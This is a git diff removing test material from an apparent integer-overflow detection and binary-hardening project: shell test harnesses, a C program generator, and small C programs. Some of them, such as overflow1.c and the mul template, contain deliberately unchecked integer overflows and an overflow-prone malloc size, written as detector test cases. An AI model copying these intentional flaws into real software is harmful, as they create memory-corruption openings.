filesz=57110594, memsz=57110594, flags=7, align=4096 -Adding .strata as section 0 - -objcopy --set-start 0x090c9220 new.exe diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id deleted file mode 100644 index 3e4d7c76214b34790a29d8b2c7e263b737c743ea..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -1727dee528f3e72278986d33697f1879d2e82245 \ No newline at end of file diff --git a/examples/ls_manual_tests.sh b/examples/ls_manual_tests.sh deleted file mode 100644 index 8c575ed7fb254879b0a4e37d58e45c56ab17c584..0000000000000000000000000000000000000000 --- a/examples/ls_manual_tests.sh +++ /dev/null @@ -1,43 +0,0 @@ -#!/bin/sh - -# -# input/output specification for testing ls -# -# assumptions: -# - deterministic tests -# - will be run from the top-level subdirectory created by ps_analyze.sh -# -# gotchas: -# - when ls reports an error, it uses argv[0]. This causes problems as we rename the program name -# we filter out the lines that use argv[0] as a workaround -# - timestamp info will differ b/c we're copying files around as part of manual_test_import -# - -echo "hello" > inputfile1 - -# basic functionality -- don't bother with comparing outputs -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar" --prog foobar - -# test invalid options -ls -MX inputfile1 | grep -vi invalid | grep -vi usage > outputfile1 -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar -MX inputfile1 | grep -vi invalid | grep -vi usage > outputfile1" --prog foobar --infile inputfile1 --outfile outputfile1 --name invalid_options - -# test help -ls --help | grep -vi report | grep -vi usage > outputfile1 -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar --help | grep -vi report | grep -vi usage > outputfile1" --prog foobar --outfile outputfile1 --name usage - -# test some option flags -ls -kfsZqp inputfile1 > outputfile1 -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar -kfsZqp inputfile1 > outputfile1" --prog foobar --infile inputfile1 --outfile outputfile1 --name flag_combo1 - -# test --ignore -ls --ignore=hello inputfile1 > outputfile1 -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar --ignore=hello inputfile1 > outputfile1" --prog foobar --infile inputfile1 --outfile outputfile1 --name ignore - -# test whole bunch of options -- output is non-deterministic so we just make sure we have the same number of lines -# also when something goes wrong during testing, the program usually just crashes -ls -ltarHksbBiXR inputfile1 | wc -l > outputfile1 -$PEASOUP_HOME/tools/manual_test_import.sh --cmd "./foobar -ltarHksbBiXR inputfile1 | wc -l > outputfile1" --prog foobar --infile inputfile1 --outfile outputfile1 --name shload_flags - -# cleanup -rm inputfile1 outputfile1 diff --git a/examples/mul/generate_cprogs.sh b/examples/mul/generate_cprogs.sh deleted file mode 100755 index 7916233bbc52d79206e743f90b631431538ab9f4..0000000000000000000000000000000000000000 --- a/examples/mul/generate_cprogs.sh +++ /dev/null @@ -1,114 +0,0 @@ -#!/bin/bash - -types="char short int long unsigned+char unsigned+short unsigned+int unsigned+long"; -#types="char short" -#sharedlib_gccflags="-O -O2 -fomit-frame-pointer" -sharedlib_gccflags="-O -O2 -fomit-frame-pointer" - -#types="int char" - -# -# The flags passed to the compiler -# -# note use of + to denote multiple parameters together. -# (but you can't use + as an argument to gcc.) -# - -create_test() -{ - my_benchname=$1 - my_benchflag=$2 - my_gccflag=$3 - my_libtype=$4 - - # - # demangle the internal representation of the benchflags and gcc flags - # substitute a + with a space - # - real_benchflag=`echo $my_benchflag | sed "s/+/ /g"` - real_gccflag=`echo $my_gccflag | sed "s/+/ /g"` - - # - # mangle the benchflags and gccflags for filename display. - # - disp_benchflag=$my_benchflag - disp_gccflag=$my_gccflag - - # - # if the name is empty, reset to a nice string for naming. Note: This means you should not use "empty" as a parameter. - # - if [ $my_benchflag"X" = "X" ]; then disp_benchflag="nobenchflag"; fi; - if [ $my_gccflag"X" = "X" ]; then disp_gccflag="nogccflag"; fi; - - scriptname=$my_benchname.$disp_gccflag.$disp_benchflag.test.sh - - # - # demangle the internal representation of the benchflags and gcc flags - # substitute a + with a space - # - real_gccflag=`echo $my_gccflag | sed "s/+/ /g"` - - cat mul.shtmpl | \ - sed "s/@BENCHNAME@/$my_benchname/g" | \ - sed "s/@LIBTYPE@/$my_libtype/g" | \ - sed "s/@COMPFLAGS@/$real_gccflag/g" \ - > $scriptname - - added_files="$scriptname $added_files" -} - -create_prog() -{ - progname=$1 - my_type1=$2 - my_type2=$3 - - # substitute space for + - real_type1=`echo $my_type1 | sed "s/+/ /g"` - real_type2=`echo $my_type2 | sed "s/+/ /g"` - - # substitute _ for + to get a valid C function name - name_type1=`echo $my_type1 | sed "s/+/_/g"` - name_type2=`echo $my_type2 | sed "s/+/_/g"` - function_name="test_${name_type1}_${name_type2}" - - case $my_type1 in - "char") format_specifier="%c" ;; - "short") format_specifier="%hd" ;; - "int") format_specifier="%d" ;; - "long") format_specifier="%ld" ;; - "unsigned+char") format_specifier="%uc" ;; - "unsigned+short") format_specifier="%hu" ;; - "unsigned+int") format_specifier="%u" ;; - "unsigned+long") format_specifier="%ul" ;; - esac - - # create the source .c program. - cat mul.ctmpl | \ - sed "s/#FUNCTION_NAME#/$function_name/g" | \ - sed "s/#FORMAT_SPECIFIER#/$format_specifier/g" | \ - sed "s/#TYPE1#/$real_type1/g" | \ - sed "s/#TYPE2#/$real_type2/g" \ - > $progname.c - - for gccflag in $sharedlib_gccflags - do - create_test $progname "" "$gccflag" shared_lib - done - -} - -for type1 in $types -do - for type2 in $types - do - progname_c=mul.$type1.$type2 - # actually create the .c program - create_prog $progname_c "$type1" "$type2" - - done -done - -chmod +x *.sh - -echo "would have added: $added_files" diff --git a/examples/mul/mul.ctmpl b/examples/mul/mul.ctmpl deleted file mode 100644 index d7f63ea7801a5c56d1c9ff8e979de550fb24bdae..0000000000000000000000000000000000000000 --- a/examples/mul/mul.ctmpl +++ /dev/null @@ -1,103 +0,0 @@ -#define INT_MAX 2147483647 -#define UINT_MAX 4294967295 - -#TYPE1# #FUNCTION_NAME#(#TYPE1# x, #TYPE2# y) -{ - #TYPE1# result = x * y; - printf("result = #FORMAT_SPECIFIER#\n", result); - return result; -} - -main() -{ - #TYPE1# x; - #TYPE2# y; - - x = 0x7f; - y = 0x7f; - #FUNCTION_NAME#(x, y); - - x = 0x7f; - y = 0xff; - #FUNCTION_NAME#(x, y); - - x = 0x7f; - y = 0x7fff; - #FUNCTION_NAME#(x, y); - - x = 0x7f; - y = 0xffff; - #FUNCTION_NAME#(x, y); - - x = 0x7f; - y = 0x7fffffff; - #FUNCTION_NAME#(x, y); - - x = 0x7f; - y = 0xffffffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0x7f; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0xff; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0x7fff; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0xffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0x7fffffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fff; - y = 0xffffffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0x7f; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0xff; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0x7fff; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0xffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0x7fffffff; - #FUNCTION_NAME#(x, y); - - x = 0x7fffffff; - y = 0xffffffff; - #FUNCTION_NAME#(x, y); - - x = 0xff; - y = 0xff; - #FUNCTION_NAME#(x, y); - - x = 0xffff; - y = 0xffff; - #FUNCTION_NAME#(x, y); - - x = 0xffffffff; - y = 0xffffffff; - #FUNCTION_NAME#(x, y); - - x = 255; - y = 255; - #FUNCTION_NAME#(x, y); -} diff --git a/examples/mul/mul.shtmpl b/examples/mul/mul.shtmpl deleted file mode 100755 index 3e258bc6a577cdeb902437594ca28a7349553793..0000000000000000000000000000000000000000 --- a/examples/mul/mul.shtmpl +++ /dev/null @@ -1,84 +0,0 @@ -#!/bin/sh - -# Assumptions: -# $1 is the full pathname to output file - - -# For PEASOUP, Required XML fields are -# name - name of the test -# host - name of the host where the test was run -# project - project name -# date_time - date time in specific format date +%FT%R:%S -# key_value pairs, any number -# may include result, user, host platform, build platform - - -# Fixed attributes -# ATTRIBUTE ModDep=strata -# ATTRIBUTE ModDep=diablo_toolchain -# ATTRIBUTE ModDep=binutils-2.19 -# ATTRIBUTE ModDep=stratafier -# ATTRIBUTE ModDep=idapro51 -# ATTRIBUTE ModDep=idapro51_sdk -# ATTRIBUTE TestsWhat=lang_C -# ATTRIBUTE TestsWhat=strata -# ATTRIBUTE TestsWhat=interoverflow -# ATTRIBUTE TestsWhat=@LIBTYPE@ -# ATTRIBUTE OS=linux -# ATTRIBUTE BenchmarkSuite=IntegerOverflow -# ATTRIBUTE Compiler=gcc -# ATTRIBUTE Arch=x86_32 - -# Filled in by test generator -# ATTRIBUTE TestName="@BENCHNAME@.c" -# ATTRIBUTE BenchmarkName=@BENCHNAME@ -# ATTRIBUTE CompilerFlags="@COMPFLAGS@" - -BENCHNAME=@BENCHNAME@ -COMPFLAGS="@COMPFLAGS@" - -outfile=$1 - -cleanup() -{ - exit_code=$1 - shift - msg=$* - - if [ $exit_code -ne 0 ]; then - report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'" - fi - - basename_orig=`basename $orig .ncexe` - - rm -f $orig strata.$$ tmp1.$$ stratafier.o.exe $orig.annot $orig.{log,SMPobjdump} $basename_orig.{idb,asm} - exit $exit_code -} - -# suck in utils -. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file" - -assert_test_args $* -assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY IDAROOT IDASDK - -# path to source -testloc=`pwd` - -orig=$BENCHNAME.$$.exe - -# compile -gcc ${testloc}/$BENCHNAME.c $COMPFLAGS -o $orig || cleanup 2 "gcc failed" - -# sanity check compile -if [ ! -f $orig ]; then cleanup 3 "Failed to create $orig"; fi - -$PEASOUP_HOME/tools/ps_analyze.sh $orig $orig.protected --step ilr=off --step p1transform=off --step concolic=off - -${testloc}/$orig.protected | grep -i "overflow detected" -if [ ! $? -eq 0 ]; then - report_test_failure $outfile "Did not detect overflow" || cleanup 4 "Reporting failed?" -fi - -# cleanup -cleanup 0 "Success!" - diff --git a/examples/mul/run_tests.sh b/examples/mul/run_tests.sh deleted file mode 100755 index f2b56c0f9cec1e715350014dcdf4df29576a5fd7..0000000000000000000000000000000000000000 --- a/examples/mul/run_tests.sh +++ /dev/null @@ -1,15 +0,0 @@ -outfile=tests.out - -rm $outfile -touch $outfile - -for i in `ls mul*.sh` -do - echo running $i - $TEST_HARNESS_HOME/run_one_test.sh $i no_redirect - if [ ! $? -eq 0 ]; then - echo Test $i failed >> $outfile - else - echo Test $i success >> $outfile - fi -done diff --git a/examples/overflow1.c b/examples/overflow1.c deleted file mode 100644 index 018351e7b2689d4c932d3c62e4dd7104780afd31..0000000000000000000000000000000000000000 --- a/examples/overflow1.c +++ /dev/null @@ -1,46 +0,0 @@ -int test_mul32_overflow(int value) -{ - printf("tests_mul32_overflow(%d): enter\n", value); - int result = value * 2000000; - printf("tests_mul32_overflow -- about to exit\n"); - return result; -} - -int test_addsub_overflow(int value) -{ - printf("tests_addsub_overflow(%d): enter\n", value); - int result = value + 2000000000; - printf("tests_addsub_overflow -- about to exit\n"); - return result; -} - -char *test_sign_unsign(int size) -{ - return malloc(size * 1024); -} - -int main(int argc, char **argv) -{ - printf("\n\n----------------------------"); - - printf("main(): enter\n"); - - if (argc != 2) - { - printf("usage: %s <number>\n", argv[0]); - return 1; - } - - int value = atoi(argv[1]); - - printf("addsub: value_overflow=%d\n", test_addsub_overflow(value)); - printf("mul: value_overflow=%d\n", test_mul32_overflow(value)); - - - char *x = test_sign_unsign(value); - sprintf(x,"x"); - printf("x=%s\n", x); - - printf("----------------------------\n\n"); - return 0; -} diff --git a/examples/test1.c b/examples/test1.c deleted file mode 100644 index d30f48692dd9832f79d9dce44bdae4d6bb1b28fc..0000000000000000000000000000000000000000 --- a/examples/test1.c +++ /dev/null @@ -1,255 +0,0 @@ -#include <stdio.h> - -struct point { - double x; - double y; -}; - -struct large_point { - double x; - char buf[128]; - double y; -}; - -int test_xxx_1() -{ - int val[3]; - val[0] = 16; - return val[0]; -} - -int test_xxx_2(int a, int b) -{ - int i = a +b + 6; - int j = a * b; - return (i + j); -} - -int test_xxx_3() -{ - int i = test_xxx_2(10,11); - return i; -} - -char * test_xxx_4(char *inbuf) -{ - int i; - char buf[1024]; - - for (i = 0; i < 5; ++i) - { - buf[i] = inbuf[i]; - } - return inbuf; -} - -void test_xxx_5() -{ - char buf[16] = "aaaabbbbccccddd"; - char *p = 0; - int i; - int j = 42; - - p = test_xxx_4(buf); - i = test_xxx_3(); - j = i + test_xxx_2(i, j); - - printf("xxx_5: %s %d %d\n", p, i, j); -} - -void test_xxx_6() -{ - char buf1[128] = "quick brown fox"; - char buf2[128] = "jumps over the lazy dog"; - char buf3[1024]; - - strcpy(buf3, buf1); - strcat(buf3, buf2); - - printf("xxx_6: %s + %s = %s\n", buf1, buf2, buf3); - printf("xxx_6: %d %d\n", strlen(buf1) + strlen(buf2), strlen(buf3)); -} - -int test_xxx_7() -{ - int x[8]; - - x[1] = 1; - - printf("xxx_7: %d\n", x[1]); - return x[1]; -} - -void test_xxx_8(int *bogus1, int a, int *bogus2) -{ - int i; - int x[2]; - - for (i = 0; i < 2; ++i) - { - x[i] = -1; - } - - printf("xxx_8: %d %d %d\n", a, x[0], *bogus2); -} - - -void test_xxx_9() -{ - int i; - int x[5]; - - x[0] = -2; - for (i = 1; i < 5; ++i) - { - x[i] = x[i-1]; - } - - printf("xxx_9: "); - for (i = 0; i < 5; ++i) - printf("%d %d", i, x[i]); - printf("%d\n", i); -} - -void test_xxx_10() -{ - int buf3[2]; - int j; - char c; - - c = 'a'; - j = c; - - printf("xxx_10: %d\n", j); -} - -void test_xxx_11() -{ - int a; - char buf1[128] = "aaaaaaaaaaaaaaaaaaaaaaaaaaa"; - int b; - char buf2[128] = "bbbbbbbbbbbbbbbbbbbbbbbbbbb"; - int c; - char buf3[128] = "ccccccccccccccccccccccccccc"; - int cumsum = 0; - - for (a = 0; a < strlen(buf1); ++a) - { - if (a % 2) - buf3[a] = buf1[a]; - else - buf3[a] = buf2[a]; - - cumsum += buf2[a] + buf1[a]; - } - - printf("xxx_11: %d %s %s %s\n", cumsum, buf1, buf2, buf3); -} - -int test_xxx_12(int a, char *buf) -{ - char tmp[1024]; - if (a <= 0) return 0; - else - { - int val; - sprintf(tmp,"%d",a); - strcat(buf,tmp); - val = test_xxx_12(a-1, buf); - return a + val; - } -} - -double test_xxx_13(struct point a) -{ - return a.x + a.y; -} - -struct point test_xxx_14(struct point a) -{ - struct point b; - b = a; - b.x = 2.5; - b.y = 3.5; - return b; -} -struct point test_xxx_14a(struct point *a) -{ - struct point b; - b = *a; - b.x = 2.5; - b.y = 3.5; - return b; -} - -struct point* test_xxx_14b(struct point *a) -{ - struct point *b; - a->x = 2.5; - a->y = 3.5; - b = a; - return b; -} - -struct large_point test_xxx_15(struct large_point a) -{ - struct large_point b; - b = a; - b.x = 2.5; - b.y = 3.5; - sprintf(b.buf,"%s", "hello"); - return b; -} - -int main(int argc, char **argv) -{ - int retvalue = 0; - int bogus = 1234; - char buf[1024] = "hello"; - retvalue = test_xxx_1(); - printf("xxx_1: %d\n", retvalue); - - retvalue = test_xxx_2(5,6); - printf("xxx_2: %d\n", retvalue); - - retvalue = test_xxx_3(); - printf("xxx_3: %d\n", retvalue); - - printf("xxx_4: %s\n", test_xxx_4(buf)); - - test_xxx_5(); - test_xxx_6(); - test_xxx_7(); - test_xxx_8(&bogus, 10, &bogus); - test_xxx_9(); - test_xxx_10(); - test_xxx_11(); - - retvalue = test_xxx_12(10, buf); - printf("xxx_12 (recursive): %d %s\n", retvalue, buf); - - struct point pt; - pt.x = 1.0; - pt.y = 2.0; - printf("xxx_13: %f\n", test_xxx_13(pt)); - - pt = test_xxx_14(pt); - printf("xxx_14: %f %f\n", pt.x, pt.y); - - struct point *pt_ptr; - pt_ptr = test_xxx_14b(&pt); - printf("xxx_14b: %f %f\n", pt_ptr->x, pt_ptr->y); - - - pt = test_xxx_14a(&pt); - printf("xxx_14a: %f %f\n", pt.x, pt.y); - - struct large_point lpt; - lpt.x = 1.0; - lpt.y = 2.0; - strcpy(lpt.buf, "yo"); - lpt = test_xxx_15(lpt); - printf("xxx_15: %f %f %s\n", lpt.x, lpt.y, lpt.buf); - - return 0; -} diff --git a/examples/test2.c b/examples/test2.c deleted file mode 100644 index 9f7cf00196b64f91244daec18b413ab754d01942..0000000000000000000000000000000000000000 --- a/examples/test2.c +++ /dev/null @@ -1,18 +0,0 @@ -void foo() -{ - char buf1[8] = "hello"; - char buf2[8]; - int i; - - for (i = 0; i < 8; ++i) - { - buf2[i] = buf1[i]; - } - - printf("%s %s\n", buf1, buf2); -} - -main() -{ - foo(); -} diff --git a/examples/width.c b/examples/width.c deleted file mode 100644 index d830a12204a3689284c2d1e461c21c975df26112..0000000000000000000000000000000000000000 --- a/examples/width.c +++ /dev/null @@ -1,72 +0,0 @@ -int main(int argc, char **argv) -{ - volatile char c = 0; - volatile short s = 0; - volatile char uc = 0; - volatile int i = 0; - volatile unsigned short us = 0; - volatile int ui = 0; - - // widening - - i = c; /* movzx eax, [ebp+var_1] - movsx eax, al - mov [ebp+var_C], eax - */ - - i = uc; /* movzx eax, [ebp+var_5] - movsx eax, al - mov [ebp+var_C], eax - */ - - ui = c; /* - movzx eax, [ebp+var_1] - movsx eax, al - mov [ebp+var_14], eax - */ - - ui = uc; /* movzx eax, [ebp+var_5] - movsx eax, al - mov [ebp+var_14], eax - */ - - s = c; /* movzx eax, [ebp+var_1] - cbw ; convert byte to word (sign-extend) - mov [ebp+var_4], ax - */ - - s = uc; /* movzx eax, [ebp+var_5] - cbw - mov [ebp+var_4], ax - */ - - us = c; /* movzx eax, [ebp+var_1] - cbw - mov [ebp+var_E], ax - */ - - us = uc; /* movzx eax, [ebp+var_5] - cbw - mov [ebp+var_E], ax - */ - - // - // truncating - // - c = i; /* mov eax, [ebp+var_C] - mov [ebp+var_1], al - */ - - uc = i; /* mov eax, [ebp+var_C] - mov [ebp+var_5], al - */ - - s = i; /* mov eax, [ebp+var_C] - mov [ebp+var_4], ax - */ - - s = ui; /* mov eax, [ebp+var_14] - mov [ebp+var_4], ax - */ - -}